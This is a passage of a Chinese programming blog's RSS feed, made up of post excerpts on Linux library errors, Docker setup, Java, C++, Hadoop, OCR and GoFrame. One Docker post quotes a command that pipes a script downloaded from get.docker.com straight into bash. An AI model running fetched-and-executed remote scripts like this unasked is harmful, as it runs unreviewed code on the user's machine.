&amp;lt;div class=&#34;wrapper&#34;&amp;gt;&#xD;&amp;lt;header class=&#34;page-header&#34;&amp;gt;&#xD;&amp;lt;nav&amp;gt;&#xD;&amp;lt;h2&amp;gt;...&amp;lt;/h2&amp;gt;&#xD;&amp;lt;ul&amp;gt;...&amp;lt;/ul&amp;gt;&#xD;&amp;lt;button class=&#34;cta-contact&#34;&amp;gt;...&amp;lt;/button&amp;gt;&#xD;&amp;lt;/nav&amp;gt;&#xD;&amp;lt;/header&amp;gt;&#xD;&amp;lt;main class=&#34;page-main&#34;&amp;gt;&#xD;&amp;lt;div&amp;gt;&#xD;&amp;lt;div class=&#34;text-wrapper&#34;&amp;gt;&#xD;&amp;lt;h1&amp;gt;...&amp;lt;/h1&amp;gt;&#xD;&amp;lt;/div&amp;gt;&#xD;&amp;lt;div class=&#34;text-wrapper p-wrapper&#34;&amp;gt;&#xD;&amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&#xD;&amp;lt;/div&amp;gt;&#xD;&amp;lt;div class=&#34;text-wrapper p-wrapper&#34;&amp;gt;&#xD;&amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&#xD;&amp;lt;/div&amp;gt;&#xD;&amp;lt;/div&amp;gt; &amp;lt;/main&amp;gt;&#xD;&amp;lt;footer class=&#34;</description>
    </item>
    <item>
      <title>mariadb日志报错：error while loading shared libraries: libjemalloc.so.2处理办法</title>
      <link>https://bchobby.github.io/posts/98e5bcc90ad9ecf876dbc884341941d7/</link>
      <pubDate>Fri, 10 Jul 2020 11:43:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98e5bcc90ad9ecf876dbc884341941d7/</guid>
      <description>Linux下找不到so文件的解决办法&#xA;rznice 2016-03-11 16:39:27 19494 收藏 1&#xA;分类专栏： linux&#xA;版权&#xA;最近在安装完tengine，在启动tengine时报找不到libjemalloc.so.2的提示，即：&#xA;[root@localhost tengine]# sbin/nginx&#xA;sbin/nginx: error while loading shared libraries: libjemalloc.so.2:&#xA;cannot open shared object file: No such file or directory&#xA;首先找找系统中有没有这个文件：&#xA;sudo find / -name libjemalloc.so.2&#xA;得到如下结果&#xA;[root@localhost tengine]# sudo find / -name libjemalloc.so.2&#xA;/usr/local/lib/libjemalloc.so.2&#xA;/usr/jemalloc/lib/libjemalloc.so.2&#xA;上面的那个是系统本身安装的，下面的这个是我自己安装的。&#xA;既然有这个文件，我们就把他加入到/etc/ld.so.conf中，打开这个文件发现里面内容如下：&#xA;将.so文件路径的目录添加到/etc/ld.so.conf&#xA;[root@localhost ld.so.conf.d]# cat /etc/ld.so.conf&#xA;include ld.so.conf.d/*.conf&#xA;看看/etc/ld.so.conf.d目录下的文件：&#xA;[root@localhost ld.so.conf.d]# ls /etc/ld.so.conf.d&#xA;kernel-3.10.0-327.4.4.el7.x86_64.conf&#xA;dyninst-x86_64.conf&#xA;libiscsi-x86_64.conf&#xA;kernel-3.10.0-229.20.1.el7.x86_64.conf&#xA;mariadb-x86_64.conf&#xA;kernel-3.10.0-229.el7.x86_64.conf&#xA;kernel-3.10.0-327.10.1.el7.x86_64.conf&#xA;vmware-tools-libraries.conf</description>
    </item>
    <item>
      <title>vscode 常用插件</title>
      <link>https://bchobby.github.io/posts/8c9d27c4818302f802864a3943fb7ff2/</link>
      <pubDate>Fri, 10 Jul 2020 11:00:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c9d27c4818302f802864a3943fb7ff2/</guid>
      <description>记录一下所用的插件&#xA;1. auto close tag 自动关闭标签，在开始标记的结束括号中键入后，将自动插入结束标记&#xA;2. Auto Comment Blocks 自动插入注释行&#xA;3. Auto Rename Tag 自动重命名配对的HTML / XML标记&#xA;4. Auto Complete Tag 结合了自动关闭标签与同时修改同步标签&#xA;5. Beautify 美化代码参考资料&#xA;6. Code Runner 可以直接运行多种语言的代码片段和文件&#xA;7. Code Spell Checker 代码拼写检查工具&#xA;8. Document This 自动为TypeScript和JavaScript文件生成详细的JSDoc注释。&#xA;9. Debugger for Chrome 从VS Code调试在Google Chrome中运行的JavaScript代码。&#xA;10. EditorConfig for VS Code EditorConfig帮助开发人员定义和维护一致的编码风格在不同的编辑器和IDE。&#xA;EditorConfig项目包含一个文件格式定义编码风格和文本编辑器插件的集合。&#xA;EditorConfig文件易于阅读并且他们与版本控制器很好地合作。&#xA;11. ESLint 代码检查工具&#xA;12. filesize 实时查看当前文件的大小&#xA;13. Quokka.js 一边编写代码一遍编译，实时编译&#xA;14. Git History 查看git历史与log，搜索等（包括git log）&#xA;15. GitLens — Git supercharged GitLens只是帮助您更好地理解代码。快速浏览一下，为什么以及何时更改了行或代码块。跳过历史记录，以获得有关代码演变的方式和原因的进一步见解</description>
    </item>
    <item>
      <title>sleep、wait、yield、join——简介</title>
      <link>https://bchobby.github.io/posts/c58b86bfe9e334491d67db58127f021f/</link>
      <pubDate>Fri, 10 Jul 2020 09:36:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c58b86bfe9e334491d67db58127f021f/</guid>
      <description>sleep、wait、yield、join——简介 1 sleep sleep()方法是Thread类的静态方法，是线程用来控制自身流程的。sleep 过程中线程不会释放锁，会进入阻塞状态（所以线程在指定的时间内肯定不会被执行），让出cpu给其他线程，但是他的监控状态依然保持着，当指定的时间到了又会自动恢复运行状态。sleep 给其他线程运行机会时不考虑线程的优先级，因此会给低优先级的线程以运行的机会。&#xA;2 wait wait 方法属于Object 类，用于线程间的通信。wait 过程中线程会释放对象锁，只有当其他线程调用 notify或 notifyALL()才能唤醒此线程。wait 使用时必须先获取对象锁，即必须在 synchronized 修饰的代码块中使用，并且必须采用synchronized中的对象，那么相应的 notify 方法同样必须在 synchronized 修饰的代码块中使用，如果没有在synchronized 修饰的代码块中使用时运行时会抛出IllegalMonitorStateException的异常。&#xA;void waitForSignal() throws InterruptedException { Object obj = new Object(); synchronized(obj) { obj.wait(); obj.notify(); } } 注：&#xA;notify方法调用后，只有notify所在的方法执行完后，才释放锁。&#xA;3 yield 和 sleep 一样都是 Thread 类的静态方法，都是暂停当前正在执行的线程对象，不会释放资源锁，和 sleep 不同的是 yield方法并不会让线程进入阻塞状态，而是让线程重回就绪状态（所以线程有可能在进入到可执行状态后马上又被执行），它只需要等待重新获取CPU执行时间，所以执行yield()的线程有可能在进入到可执行状态后马上又被执行。还有一点和 sleep 不同的是 yield 方法只能使同优先级或更高优先级的线程有执行的机会。&#xA;区别：&#xA;sleep()方法可以放在任何地方使用。wait 使用时必须先获取对象锁，即必须在 synchronized 修饰的代码块中使用。sleep()方法必须捕获异常，而wait()方法不需要捕获异常。wait()被notify()或者notifyAll()唤醒后，先进入阻塞状态（先获得锁），然后进入就绪状态；sleep()被唤醒后，直接就可进入就绪状态（因为sleep没有释放锁，所以无需去获得锁）；yield()不需要唤醒，一直处于就绪状态，获得CPU后继续运行。 4 join join属于Thread类，等待调用join方法的线程结束之后，当前程序再继续执行，一般用于等待异步线程执行完结果之后才能继续运行的场景。例如：主线程创建并启动了子线程，如果子线程中要进行大量耗时运算计算某个数据值，而主线程要取得这个数据值才能运行，这时就要用到 join 方法了。&#xA;参考博客：浅谈sleep、wait、yield、join区别</description>
    </item>
    <item>
      <title>Cannot uninstall ‘numpy‘问题解决</title>
      <link>https://bchobby.github.io/posts/b0e1976be509bfe4c77c8fb5541f9078/</link>
      <pubDate>Thu, 09 Jul 2020 22:14:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0e1976be509bfe4c77c8fb5541f9078/</guid>
      <description>在安装excel处理库的时候碰到numpy报错，具体如下&#xA;[IT-C02Z2CAXLVCF:temp shaolishuai$ pip install Pandas DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won&#39;t be maintained after that date. A future version of pip will drop support for Python 2.7. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support Collecting Pandas Using cached https://files.pythonhosted.org/packages/52/ff/912fe03a623a70bcf297d466013a0b4f4c68c3b60f86bf226682d061fc09/pandas-0.24.2-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl Requirement already satisfied: pytz&amp;gt;=2011k in /System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python (from Pandas) (2013.</description>
    </item>
    <item>
      <title>C&#43;&#43;中的排序函数</title>
      <link>https://bchobby.github.io/posts/6053c0fcb0722fb93a775e1bc1c98974/</link>
      <pubDate>Thu, 09 Jul 2020 21:37:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6053c0fcb0722fb93a775e1bc1c98974/</guid>
      <description>1.sort 头文件：#include &amp;lt;algorithm&amp;gt;&#xA;1.1使用sort对数组进行排序 #include&amp;lt;iostream&amp;gt; #include&amp;lt;algorithm&amp;gt; int main() { int a[10] = { 9,6,3,8,5,2,7,4,1,0 }; std::cout &amp;lt;&amp;lt; &#34;before sort: &#34; &amp;lt;&amp;lt; std::endl; for (int i = 0; i&amp;lt;10; i++) std::cout &amp;lt;&amp;lt; a[i] &amp;lt;&amp;lt; &#34; &#34;; std::sort(a, a + 10); std::cout &amp;lt;&amp;lt; std::endl &amp;lt;&amp;lt; &#34;after sort: &#34; &amp;lt;&amp;lt; std::endl; for (int i = 0; i&amp;lt;10; i++) std::cout &amp;lt;&amp;lt; a[i] &amp;lt;&amp;lt; &#34; &#34;; return 0; } ----运行结果： before sort: 9 6 3 8 5 2 7 4 1 0 after sort: 0 1 2 3 4 5 6 7 8 9 请按任意键继续.</description>
    </item>
    <item>
      <title>Harbor 重启失败--已解决</title>
      <link>https://bchobby.github.io/posts/2c1b2fb369b7a554c96ef809511ca992/</link>
      <pubDate>Thu, 09 Jul 2020 20:51:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c1b2fb369b7a554c96ef809511ca992/</guid>
      <description>harbor版本：&#xA;v1.10.2&#xA;遇到问题：&#xA;使用 docker-compose down命令关闭harbor，然后使用./install.sh --with-chartmuseum命令重新安装带chart仓库的harbor，然后发现启动不了，报以下错误：&#xA;[Step 5]: starting Harbor ... Creating network &#34;harbor_harbor&#34; with the default driver Creating network &#34;harbor_harbor-chartmuseum&#34; with the default driver Creating harbor-log ... done Creating redis ... Creating registryctl ... Creating harbor-portal ... error Creating chartmuseum ... Creating harbor-db ... Creating registryctl ... error ERROR: for harbor-portal Cannot start service portal: failed to initialize logging driver: dial tcp 127.0.0.1:1514: connect: connection refused ERROR: for chartmuseum Cannot start service chartmuseum: failed to initialize logging driver: dial tcp 127.</description>
    </item>
    <item>
      <title>Java后端通过代理服务器请求网络资源</title>
      <link>https://bchobby.github.io/posts/221d0362f9414907752d2bb0530d2bb2/</link>
      <pubDate>Thu, 09 Jul 2020 14:46:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/221d0362f9414907752d2bb0530d2bb2/</guid>
      <description>1.需求 部署在内网服务器的JavaWeb项目，后端需要访问互联网，通过有网络访问权限的另一台服务器的代理转发实现互联网访问。&#xA;2.实现 内网设备——设为A，通过外网设备——设为B，访问互联网，需要分别在A和B上进行代理配置。此时它们的相对关系是，A为客户端，B为服务端，A的所有互联网请求均发送给B，B代为转发给目标站点——设为X。X返回的数据亦由B代为转发给A。&#xA;后端Java程序一般都使用apache的httpClient进行网络资源请求。通过查资料得知，httpClient使用代理服务器进行网络请求的配置方法大致可以分为两种：&#xA;1.配置httpClient参数；&#xA;2.配置JVM系统代理（注意，不是操作系统）。&#xA;第二种可能主要用于开发环境，如IDEA或eclipse等。这里主要讨论第一种方式。&#xA;配置httpClient参数 1.极简模式&#xA;// proxyHost -- 代理ip; proxyPort -- 代理端口号;HTTP -- 通讯协议 HttpHost httpProxy = new HttpHost(proxyHost, proxyPort, &#34;HTTP&#34;); CloseableHttpClient httpClient = HttpClients.createDefault(); // url -- 资源路径 HttpPost request = new HttpPost(url); request.setEntity(new StringEntity(&#34;上送的报文&#34;, &#34;utf-8&#34;)); CloseableHttpResponse response = httpClient.execute(httpProxy, request); “这种方式要注意一点：new HttpHost()是支持指定协议类型的，但是httpClient不默认支持socks协议，所以如果我们把上面代码中的协议改成new HttpHost(&#34;proxyHost&#34;, proxyPort, &#34;SOCKS&#34;)，会报错。”——引用自：Richard_易 2018.03.15&#xA;2.官方推荐&#xA;A. 使用RequestConfig配置类：&#xA;// proxyHost -- 代理ip; proxyPort -- 代理端口号;HTTP -- 通讯协议 HttpHost httpProxy = new HttpHost(proxyHost, proxyPort, &#34;</description>
    </item>
    <item>
      <title>Docker自学</title>
      <link>https://bchobby.github.io/posts/4832673acbc8120de60af0c1089f2f8c/</link>
      <pubDate>Thu, 09 Jul 2020 11:26:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4832673acbc8120de60af0c1089f2f8c/</guid>
      <description>从根本上说，一个容器不过是一个正在运行的进程，并对其应用了一些附加的封装功能，以使其与主机和其他容器隔离。 容器隔离的最重要方面之一是每个容器都与自己的专用文件系统进行交互。 该文件系统由Docker映像提供。 映像包括运行应用程序所需的一切-代码或二进制文件，运行时，依赖项以及所需的任何其他文件系统对象&#xA;容器在Linux上本地运行，并与其他容器共享主机的内核。 它运行在一个单独的进程，不占用任何其他进程的内存，从而使其轻巧。&#xA;相比之下，VM会产生大量开销，超出了应用程序逻辑所消耗的开销&#xA;看一下两者的架构对比图，docker运行在操作系统之上，依赖于宿主机的操作系统，而虚拟机内部则有自己的操作系统&#xA;安装docker 之后测试 docker run hello-world ,前提是保证docker已经运行&#xA;查看image - docker image ls 或docker images 查看所有容器 docker ps -all&#xA;安装好docker环境之后，就可以开发docker 应用了，一般分为三步&#xA;1 为容器创建一个镜像&#xA;2 组装容器及其依赖的架构成为一个完整的应用&#xA;3 测试，分享，部署你创建的容器化应用&#xA;1 创建一个docker镜像&#xA;# Use the official image as a parent image. FROM node:current-slim from结点代表 依赖的父镜像 的标签 node 冒号后是版本号&#xA;# Set the working directory. WORKDIR /usr/src/app workdir指定了之后所有动作从哪个路径执行，这个路径是镜像文件系统的路径，而不是你客户机的文件系统路径 # Copy the file from your host to your current location.</description>
    </item>
    <item>
      <title>react&#43;typescript&#43;高德地图</title>
      <link>https://bchobby.github.io/posts/0fdbb2f955f860e0a46c801c34364202/</link>
      <pubDate>Thu, 09 Jul 2020 11:19:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fdbb2f955f860e0a46c801c34364202/</guid>
      <description>react项目中使用高德地图 基本项目使用create-react-app创建项目，并引入typescript&#xA;1. 申请高德key 2. 在index.html中引入高德地图 &amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://webapi.amap.com/maps?v=1.4.15&amp;amp;key=申请的key&amp;amp;plugin=AMap.Geocoder&#34;&amp;gt;&amp;lt;/script&amp;gt; 3. 在页面中使用 因为使用了ts所以需要先声明一下高德地图的AMap&#xA;不声明的话会出现下图错误&#xA;import React, { Component } from &#39;react&#39;; // 声明AMap，也可以选择在d.ts中声明 declare let AMap: any; 接下来就能愉快的使用高德地图了&#xA;const carImg = require(&#39;@/assets/img/car.png&#39;); componentDidMount() { // console.log(&#39;window.AMap&#39;, window.AMap); const map = new AMap.Map(&#39;container&#39;, { // zoom:11,//级别 // center: [116.4,39.92], resizeEnable: true // viewMode:&#39;3D&#39;//使用3D视图 }); map.clearMap(); // 清除地图覆盖物 // 创建一个 Icon var carIcon = new AMap.Icon({ // 图标尺寸 size: new AMap.Size(35, 35), // 图标的取图地址 image: carImg, // 图标所用图片大小 imageSize: new AMap.</description>
    </item>
    <item>
      <title>策略模式(Strategy)与状态模式(State)到底有什么区别？</title>
      <link>https://bchobby.github.io/posts/e0496e89dfa27c0d20625dfd9bc0bb3e/</link>
      <pubDate>Thu, 09 Jul 2020 11:19:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0496e89dfa27c0d20625dfd9bc0bb3e/</guid>
      <description> 世界上并没有完美的程序，但是我们并不因此而沮丧，因为写程序就是一个不断追求完美的过程。&#xA;策略模式与状态模式有什么区别呢?&#xA;策略模式的意图：定义一系列算法，把它们一个个封装起来，并且相互之间可以替换。&#xA;状态模式的意图：允许一个对象在其内部状态改变的情况下，改变其行为。&#xA;这两个意图从表面上看好像没什么关系，其实实现过的小伙伴们都知道，它们之间还是很相似的。它们都有一个Context，并且都是Context加载不同的类，并且调用时也都是通过Context调用。并且以上两个意图只是描述了其形式，潜在的目的并没有指出。&#xA;对于策略模式，为什么要封装成多个可以相互替换的算法对象呢？就是为了统一调用，即实现接口回调。这样，算法有了，统一的调用框架有了。在使用时只要根据需求，填充需要的算法对象就可以。&#xA;对于状态模式，为什么能够在对象内部状态改变时改变其行为呢？是因为在状态改变时，加载了不同的对象，不同的对象当然会有不同的行为了。前提是什么呢？承载状态的框架是稳定的。&#xA;策略模式和状态模式都提到了框架，为什么呢？其实他们最主要的意图都是将变化的部分提取出来，封装成各种对象，然后将不变的部分固定成框架，这样形成了一种可插拔的标准模式，使用起来就方便了，而且解耦合，易于扩展。&#xA;相同的地方：策略模式通过改变其算法对象，做出不同的行为；状态模式根据状态改变，做出不同的行为。两者都是通过元素的改变，做出不同的行为。&#xA;不同的地方：那么区别是什么呢？策略模式需要根据需求来选择实现的策略，而状态模式是根据状态变化而自动改变行为。即策略模式的算法需要被动的被设置，而状态模式的状态是根据条件自动转换的。一个改变是来自于外部选择，另一个的改变是来自于内部的自动判断。&#xA;从大的思想上来说，都是取其静，外挂其动。 </description>
    </item>
    <item>
      <title>Hadoop-The variance for this alert is **MB which is 20% of the **MB average (**MB is the limit)</title>
      <link>https://bchobby.github.io/posts/34f6202fbd5573cc3a49cceb0f985b01/</link>
      <pubDate>Thu, 09 Jul 2020 09:53:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34f6202fbd5573cc3a49cceb0f985b01/</guid>
      <description>**The variance for this alert is **MB which is 20% of the **MB average (MB is the limit)&#xA;1、调整如下阀值&#xA;2、检查HDFS文件系统使用率，清空HDFS上的.trash垃圾数据</description>
    </item>
    <item>
      <title>工艺角，PVT, TT,SS,FF,FS,SF</title>
      <link>https://bchobby.github.io/posts/7f1c451aa6327658f942bc97d3ccd2a0/</link>
      <pubDate>Wed, 08 Jul 2020 16:30:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f1c451aa6327658f942bc97d3ccd2a0/</guid>
      <description>与双极晶体管不同，在不同的晶片之间以及在不同的批次之间，MOSFETs参数变化很大。为了在一定程度上减轻电路设计任务的困难，工艺工程师们要保证器件的性能在某个范围内，大体上，他们以报废超出这个性能范围的芯片的措施来严格控制预期的参数变化。&#xA;通常提供给设计师的性能范围只适用于数字电路并以“工艺角”（ProcessCorner）的形式给出。如图，其思想是：把NMOS和PMOS晶体管的速度波动范围限制在由四个角所确定的矩形内。这四个角分别是：快NFET和快 PFET，慢NFET和慢PFET，快NFET和慢PFET，慢NFET和快PFET。例如，具有较薄的栅氧、较低阈值电压的晶体管，就落在快角附近。&#xA;从晶片中提取与每一个角相对应的器件模型时，片上NMOS和PMOS的测试结构显示出不同的门延时，而这些角的实际选取是为了得到可接受的成品率。&#xA;各种工艺角和极限温度条件下对电路进行仿真是决定成品率的基础。&#xA;所以我们所说的ss、tt、ff分别指的是左下角的corner，中心、右上角的corner。&#xA;--------------------------------------快乐的分割线------------------------------------&#xA;工艺极限 (Process Corner)&#xA;如果采用5-corner model会有TT,FF,SS,FS,SF 5个corners。如TT指NFET-Typical corner &amp;amp; PFET-Typicalcorner。其中,Typical指晶体管驱动电流是一个平均值，FAST指驱动电流是其最大值，而SLOW指驱动电流是其最小值（此电流为Ids电流）这是从测量角度解释，也有理解为载流子迁移率(Carrier mobility)的快慢.载流子迁移率是指在载流子在单位电场作用下的平均漂移速度。至于造成迁移率快慢的因素还需要进一步查找资料。单一器件所测的结果是呈正态分布的，均值在TT，最小最大限制值为SS与FF。从星空图看NFET，PFET所测结果,这5种覆盖大约+-3 sigma即约99.73%的范围。对于工艺偏差的情况有很多，比如掺杂浓度，制造时的温度控制，刻蚀程度等，所以造成同一个晶圆上不同区域的情况不同，以及不同晶圆之间不同情况的发生。这种随机性的发生，只有通过统计学的方法才能评估覆盖范围的合理性。&#xA;PVT (process, voltage,temperature)&#xA;设计除了要满足上述5个corner外，还需要满足电压与温度等条件,形成的组合称为PVT (process, voltage,temperature) 条件。电压如：1.0v+10% ,1.0v,1.0v-10% ; 温度如：-40C, 0C 25C,125C。设计时设计师还常考虑找到最好最坏情况.时序分析中将最好的条件(BestCase)定义为速度最快的情况, 而最坏的条件(WorstCase)则相反。最好最坏的定义因不同类型设计而有所不同。最坏的延迟也不都出现在SS[19] 。至于延迟随PVT发生怎样的变化，还需要进一步查找资料。&#xA;根据不同的仿真需要，会有不同的PVT组合。以下列举几种标准STA分析条件[16]：&#xA;WCS (Worst Case Slow) : slow process, hightemperature, lowest voltage&#xA;TYP (typical) : typical process, nominaltemperature, nominal voltage&#xA;BCF (Best Case Fast ) : fast process, lowesttemperature, high voltage&#xA;WCL (Worst Case @ Cold) : slow process,lowest temperature, lowest voltage</description>
    </item>
    <item>
      <title>Docker安装采坑</title>
      <link>https://bchobby.github.io/posts/18b0b077e2f31269aee210dc60606fb8/</link>
      <pubDate>Wed, 08 Jul 2020 15:23:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18b0b077e2f31269aee210dc60606fb8/</guid>
      <description>1 在windows ubuntu 子系统上安装docker时要选择ubuntu 18.04，如果选择20会出现各种问题&#xA;2 为了保证后续不出错 先检查自己的windows版本是不是符合要求&#xA;https://docs.microsoft.com/zh-cn/windows/wsl/install-win10 -- 非常重要，否则即使安装成功也会出现&#xA;docker: Error response from daemon: OCI runtime create failed: container_linux.go:349: starting container process caused &#34;process_linux.go:319: getting the final child&#39;s pid from pipe caused \&#34;EOF\&#34;&#34;: unknown&#xA;的类似错误。&#xA;如何是在wsl上安装dokcer，参考&#xA;https://nickjanetakis.com/blog/setting-up-docker-for-windows-and-wsl-to-work-flawlessly&#xA;这篇帖子，否则参考官网&#xA;3 之前看网上教程 如果使用 curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun 阿里云的镜像安装的话会在/etc/apt/sources.list.d 下创建一个docker.list文件，里面存储了http://mirrors.aliyun.com/docker-engine/apt/repo docker-engine 的 阿里的镜像，这样你之后无论做什么操作，都会从这个镜像安装，然后提示失败，所以如果需要将该条数据删除&#xA;4 新手建议严格按照https://docs.docker.com/engine/install/ubuntu/#installation-methods 官方文档安装，英文差的同学可以参考&#xA;https://www.runoob.com/docker/ubuntu-docker-install.html 的翻译</description>
    </item>
    <item>
      <title>Hadoop用法记录(一)</title>
      <link>https://bchobby.github.io/posts/4b41afc64181a1e51499b6e80ef3ff34/</link>
      <pubDate>Wed, 08 Jul 2020 14:22:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b41afc64181a1e51499b6e80ef3ff34/</guid>
      <description>1.创建文件夹&#xA;在hadoop中创建文件夹&#xA;import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.Path; import java.net.URI; import java.net.URISyntaxException; public class ClientDemo1 { public static void main(String[] args) throws Exception { //指定hdfs的位置 URI uri = new URI(&#34;hdfs://linux01:9000&#34;); //用户的配置设置对象 Configuration conf = new Configuration(); //当前操作客户端的用户名 String username = &#34;root&#34;; /* 参数1 URI 指定HDFS文件系统的位置 参数2 配置对象 用户的自定义设置 文件上传的副本个数 参数3 用户名 root */ FileSystem fs = FileSystem.newInstance(uri, conf, username); //创建一个文件夹 new File(&#34;&#34;); new Path(&#34;&#34;); //Path对象是hdfs中对路径的抽象 Path path = new Path(&#34;</description>
    </item>
    <item>
      <title>调用百度ai接口实现图片文字识别技术DEMO</title>
      <link>https://bchobby.github.io/posts/78f0c9c2e57d43445d18857dd970e36b/</link>
      <pubDate>Wed, 08 Jul 2020 14:02:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78f0c9c2e57d43445d18857dd970e36b/</guid>
      <description>一、第一步，到https://console.bce.baidu.com/&#xA;二、创建应用&#xA;三、pom.xml里面加入依赖 &amp;lt;!-- json依赖 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.json&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;json&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;20160810&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- https://mvnrepository.com/artifact/log4j/log4j --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;log4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;log4j&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.17&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 四、下面是代码Sample3类的代码 import java.util.HashMap; import org.json.JSONObject; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import com.baidu.aip.ocr.AipOcr; import com.baidu.aip.run.mapper.KeyWordMapper; @Component public class Sample3{ @Autowired private KeyWordMapper keyWordMapper; // 设置APPID/AK/SK public static final String APP_ID = &#34;自己申请的APP_ID&#34;; public static final String API_KEY = &#34;自己申请的API_KEY&#34;; public static final String SECRET_KEY = &#34;自己申请的SECRET_KEY &#34;; // 初始化用户对象 public static AipOcr init() { // 初始化一个AipOcr AipOcr client = new AipOcr(APP_ID, API_KEY, SECRET_KEY); // 可选：设置网络连接参数 client.</description>
    </item>
    <item>
      <title>(C#) (.NET)  Spire.XLS读写Excel</title>
      <link>https://bchobby.github.io/posts/6e462e632e38f1e5c6f7296dc0eda084/</link>
      <pubDate>Wed, 08 Jul 2020 13:54:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e462e632e38f1e5c6f7296dc0eda084/</guid>
      <description> 传统插件过于依赖微软com,可能因服务器没环境而导致报错，所有推荐用Spire.XLS不会过于依赖环境&#xA;Spire.XLS特点&#xA;Spire.XLS for .NET 支持所有Excel格式类型(97-2003, 2007, 2010)文件。支持Excel文件的新建，修改编辑，单元格拆分合并，属性设置，加锁加密等等excel操作支持数据库导出到Excel工作表，或者把数据从Excel数据导入到数据库；.支持向Excel文件里面写入公式，表格，图片，不同类型的文字，链接，注释甚至VBA等内容；支持将Excel文件转换成PDF, HTML, CSV, Text, XML以及图片格式 咱直接上代码：&#xA;//创建1个工作簿，相当于1个Excel文件 //Excel的文档结构是 Workbook-&amp;gt;Worksheet（1个book可以包含多个sheet） using (Workbook workbook = new Workbook()) { Worksheet sheet = workbook.Worksheets[&#34;sheet1&#34;]; //添加工作表 workbook.Worksheets.Add(&#34;addsheet&#34;); //删除工作表 workbook.Worksheets.Remove(&#34;addsheet&#34;); //向A1单元格写入文字 sheet.Range[&#34;A1&#34;].Text = &#34;测试数据!&#34;; //将Excel文件保存到指定文件,还可以指定Excel版本 workbook.SaveToFile(&#34;Test.xlsx&#34;, ExcelVersion.Version2016); } Console.WriteLine(&#34;文件写入完成！&#34;); Console.ReadKey(); </description>
    </item>
    <item>
      <title>GoFrame——请求校验Parse()方法返回err之坑</title>
      <link>https://bchobby.github.io/posts/13ba791e3aedf86dc5c4a73676ef9569/</link>
      <pubDate>Wed, 08 Jul 2020 00:56:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13ba791e3aedf86dc5c4a73676ef9569/</guid>
      <description>GoFrame请求校验Parse方法返回err之坑 代码示例错误分析坑解决办法 学了一部分GoFrame的使用，自己尝试去写项目练习，但是有个知识点搞混了，导致程序异常。&#xA;Debug时，发现请求参数是有的，而且也能将参数转换为结构体，但是总是得不到预期结果。&#xA;首先去排查err值，但是竟然是个空字符串，就让人摸不着头绪，不知道错误在哪，以下是场景复现。&#xA;代码示例 错误代码，标签和消息中间的正确分隔符不是|，而是#。：&#xA;// LoginRequest 登录参数 type LoginRequest struct { UserName string `p:&#34;username&#34; v:&#34;required|账号不能为空&#34;` // 分隔符写错 Password string `p:&#34;password&#34; v:&#34;required|密码不能为空&#34;` } func (a *Admin) Login(r *ghttp.Request) { var ( data *LoginRequest err error admin *admin.Entity ) // 问题就出现在这里 err 并没有返回我们期望的错误，而是返回了一个空字符串 if err = r.Parse(&amp;amp;data); err != nil { fmt.Printf(&#34;-----err[%s]-----\n&#34;, err.Error()) response.FailJSON(true, r, err.Error()) } // 验证登录 admin, err = service.LoginCheck(data.UserName, data.Password) fmt.Println(&#34;admin&#34;, admin) response.SusJSON(true, r, &#34;</description>
    </item>
    <item>
      <title>未授权访问漏洞</title>
      <link>https://bchobby.github.io/posts/07808eb412445b3bfacc01ac1484bf9c/</link>
      <pubDate>Tue, 07 Jul 2020 21:28:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07808eb412445b3bfacc01ac1484bf9c/</guid>
